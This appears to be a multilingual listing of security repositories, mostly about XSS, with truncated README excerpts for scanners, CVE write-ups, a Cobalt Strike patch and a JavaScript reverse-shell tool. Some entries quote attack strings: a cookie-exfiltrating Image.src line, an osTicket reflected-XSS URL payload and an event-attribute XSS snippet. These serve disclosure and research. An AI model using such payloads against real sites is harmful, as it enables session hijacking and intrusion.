rapidscan

🟥 RapidScan v1.2 - The Multi-Tool Web Vulnerability Scanner RapidScan has been ported to Python3 i.e. v1.2. The Python2.7 codebase is available on v1.1 releases section. Download and use it if you still haven't upgraded to Python 3. Kindly note that the v1.1 Python2.7 will not be enhanced further...

Papers

此仓库旨在托管我的研究论文。如果你想阅读我更多的内容，请点击关注。 绕过XSS检测机制 下载PDF 一种计算文本中语言信息的语音学方法 下载PDF...

CVE-2023-30212

CVE-2023-30212 ラボのセットアップ 前提条件 docker.io をダウンロードする sudo apt install -y docker.io 手順 1. 以下のコマンドを使用して、私のリポジトリからすべてのファイルをダウンロードします。 git clone https://github.com/AAsh035/CVE-2023-30212.git 2. 次に、Docker イメージを作成するために以下のコマンドを実行します。 sudo docker build -t vuln . 3. 次に、Docker イメージをコンテナに変更します。コンテナはポート 80...

XSSTRON

XSSTRON, XSS脆弱性を発見するためのElectron JSブラウザ Webブラウジング中に自動的にXSS脆弱性を発見する強力なChromiumブラウザです。POSTリクエストもサポートし、多くのケースを検出できます。 インストール Node.jsとnpmをインストールします（https://www.npmjs.com/get-npm）または（sudo apt install npm） このリポジトリのファイルをダウンロードするか（git clone https://github.com/RenwaX23/XSSTRON） cd XSSTRON npm install npm...

CVE-2022-39197-patch

CVE-2022-39197 patch CVE-2022-39197 Cobalt Strike XSS 漏洞的一个临时补丁 通过 hook javax.swing.plaf.basic.BasicHTML的isHTMLString方法来禁用swing的html支持 PS: 部分依赖html的页面无法正常渲染例如 关于页面 使用方法 将 patch.jar 放入cobaltstrike启动目录下 在cobaltstrike启动参数中加入javaagent 启用补丁 -javaagent:patch.jar 启动cobaltstrike 输出Successfully Patched...

CVE-2017-6913

CVE-2017-6913 これは、私が少し前に open-xchange OX App Suite のウェブメール https://www.open-xchange.com/ で発見した脆弱性です。 脆弱性の詳細 ウェブメールは、HTMLのtimeタグのイベント属性が適切にフィルタリングされていないため、メールを開く際にStored XSSに対して脆弱でした。その結果、以下のような埋め込みHTMLコードが、何も知らないターゲット上でJavaScriptを実行する可能性がありました。 time onafterprint="console.log'onafterprint'"...

CVE-2023-28467

MyBB 1.8.33 用户CP电子邮件持久型XSS - MyBB 1.8.33 User CP email persistent XSS - Mybb version "@cve.com 解决方案 升级MyBB至1.8.34或更高版本...

CVE-2026-87915-PoC-pwnVader

CVE-2026-87915 — Popup Maker = 1.24.0 — 未认证存储型 XSS（valuesName） 作者： pwnVader · 许可证： MIT（仓库根目录） | ---|--- 组件| Popup Maker – Boost Sales, Conversions, Optins, Subscribers（WordPress 插件） 类型| CWE-79 — 存储型跨站脚本 受影响版本| = 1.24.0 修复版本| 1.25.0 CVE| CVE-2026-87915 — CVSS 3.1...

CVE-2026-50980

CVE-2026-50980: DNSベースのクロスサイトスクリプティング XSS および oPanel におけるセッションハイジャック 概要 CVE ID: CVE-2026-50980 製品: oPanel 影響を受けるバージョン: new Image.src='http://:/log?cookie='+document.cookie;...

xss

このリポジトリには README がありません。...

CVE-2025-57310

CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07 中存在一个跨站请求伪造（CSRF）漏洞，攻击者可通过向 admin.php?p=ads&c=1 发送特制的 POST 请求来执行任意代码。 CWE CWE-352：跨站请求伪造（CSRF） CVSS v3.1 基础评分：8.8（高危） CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 摘要 该产品在管理面板上存在跨站请求伪造（CSRF）漏洞。当已认证的管理员访问包含 PoC 的恶意页面时，CSRF 攻击将导致首页内容被未经授权地修改。 复现步骤 1...

XSS-Scanner

XSS Scanner クロスサイトスクリプティング（XSS）は、最もよく知られたウェブアプリケーション脆弱性の1つです。OWASP Top 10プロジェクトでも専用の章があり、バグバウンティプログラムでも非常に追跡される脆弱性です。 このスキャナーはユーザーからリンクを受け取り、入力箇所に悪意のあるスクリプトを注入してウェブサイトのXSS脆弱性をスキャンします。注入はChromiumというヘッドレスブラウザで行われ、Puppeteer自動化によって制御されます。 2つのステップで動作します： 1. ターゲットの発見:...

Cobaltstrike-RCE-CVE-2022-39197

Cobaltstrike RCE 脆弱性 CVE-2022-39197 の再現 脆弱性の概要 この脆弱性はCobalt StrikeのBeaconソフトウェアに存在し、攻撃者がBeaconの設定に不正な形式のユーザー名を設定することでXSSを誘発し、CSサーバー上でリモートコード実行を引き起こす可能性があります。 スクリーンショット： NTLMv2-SSP Hashの取得（前提：Cobalt StrikeがWindows上で実行されていること） 参考： https://www.freebuf.com/vuls/345522.html...

JSshell

JSshell - 版本 3.1 JSshell - 一个 JavaScript 反向 Shell。用于远程执行 JS 代码、利用盲 XSS 等。 要求：任意操作系统 + Python 2 或 Python 3 JSshell 版本 3.1 的新功能 JShell 3.1 新版本更新内容： 新 JSshell 命令：snippet - 允许编写一段 JavaScript 代码 snippet Use CTRL+D to finish the snippet function new new = 'New update: Support javascript snippet =';...

CVE-2023-24278

CVE-2023-24278 - Squidex 中的反射型 XSS 漏洞 概述 CVE ID: CVE-2023-24278 受影响产品: Squidex 7.4.0 之前的所有版本 报告者: Ioannis Christodoulakos 本仓库提供了关于 Squidex 开源无头 CMS 软件中发现的两个反射型跨站脚本（XSS）漏洞的信息及利用方式。这些漏洞影响 7.4.0 之前的所有版本，攻击者可通过向 /squid.svg 端点的特定查询参数中注入代码，在受害者浏览器中执行恶意 JavaScript 代码。 漏洞详情 漏洞是由于 /squid.svg 端点的 text 和...

CVE-2021-43141

CVE-2021-43141 CVE-2021-43141に関する情報。planapplicationセクションにおけるリフレクション型XSS。...

apidetector

APIDetector は、さまざまなサブドメインで公開された Swagger エンドポイントをテストするために設計された、強力かつ効率的なツールです。誤検知を検出する独自のスマート機能を備えており、API テストや脆弱性スキャンに携わるセキュリティ専門家や開発者にとって特に有用です。 BlackHat Arsenal 2024 で発表 Link バージョン履歴 バージョン 3 の新機能 最新 最新の Web インターフェース : 使いやすいインターフェースで API エンドポイントのスキャンが簡単に リアルタイム結果 : 発見されたエンドポイントや脆弱性のライブ更新...

CVE-2024-33231

Ferozo Webmail ファイルアップロードによるXSS脆弱性 CVE-2024-33231 説明 Ferozo Webmail バージョン 1.1 は、ファイルアップロード機能を介してクロスサイトスクリプティング XSS の脆弱性があります。攻撃者は、悪意のあるJavaScriptコードを含む特別に細工されたファイルをアップロードすることで、この脆弱性を悪用する可能性があります。ファイルがアプリケーション内で処理または表示されると、埋め込まれたスクリプトが被害者のセッション内で実行され、以下のような結果を引き起こす可能性があります: セッションハイジャック 不正な操作 機密情報の...

CVE-2022-32132

CVE-2022-32132 for osTicket | サポートチケットシステム 反射型XSS: Payload: " onmouseover="alert1 http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert1%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name...

AWE

AWE：面向动态 Web 渗透测试的自适应智能体 Akshat Singh Jaswal · Ashish Baghel 被 NDSS LAST-X 2026 收录 摘要 现代 Web 应用程序日益通过 AI 辅助开发和快速无代码部署流水线构建，这进一步拉大了软件交付速度不断加快与现有安全工具适应性有限之间的差距。我们提出 AWE——一个用于自主 Web 渗透测试的记忆增强型多智能体框架，它在轻量级 LLM 编排层中嵌入了结构化、针对特定漏洞的分析流水线。在包含 104 个挑战的 XBOW 基准测试中，AWE 取得了 87% 的 XSS 成功率（较 MAPTA 提升 30.5%）和...